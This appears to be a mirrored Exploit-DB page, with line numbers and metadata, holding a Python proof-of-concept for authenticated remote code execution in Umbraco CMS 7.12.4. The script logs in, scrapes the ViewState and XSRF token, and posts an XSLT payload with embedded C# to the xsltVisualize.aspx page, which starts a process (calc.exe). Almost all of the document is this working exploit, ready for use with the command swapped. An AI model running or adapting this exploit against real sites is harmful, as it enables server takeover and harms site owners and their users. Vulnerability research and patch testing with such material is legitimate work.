Umbraco CMS 7.12.4 – (Authenticated) Remote Code Execution - 体验盒子

作者： Gregory Draperi

日期： 2019-01-14

类别：

webapps

平台：

aspx

来源：https://www.exploit-db.com/exploits/46153/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators

# Dork: N/A

# Date: 2019-01-13

# Exploit Author: Gregory DRAPERI & Hugo BOUTINON

# Vendor Homepage: http://www.umbraco.com/

# Software Link: https://our.umbraco.com/download/releases

# Version: 7.12.4

# Category: Webapps

# Tested on: Windows IIS

# CVE: N/A

import requests;

from bs4 import BeautifulSoup;

def print_dict(dico):

print(dico.items());

print("Start");

# Execute a calc for the PoC

payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \

xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \

xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\

<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \

{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\

proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\

proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \

proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \

</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\

</xsl:template> </xsl:stylesheet> ';

login = "XXXX;

password="XXXX";

host = "XXXX";

# Step 1 - Get Main page

s = requests.session()

url_main =host+"/umbraco/";

r1 = s.get(url_main);

print_dict(r1.cookies);

# Step 2 - Process Login

url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";

loginfo = {"username":login,"password":password};

r2 = s.post(url_login,json=loginfo);

# Step 3 - Go to vulnerable web page

url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";

r3 = s.get(url_xslt);

soup = BeautifulSoup(r3.text, 'html.parser');

VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];

VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];

UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];

headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};

data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};

# Step 4 - Launch the attack

r4 = s.post(url_xslt,data=data,headers=headers);

print("End");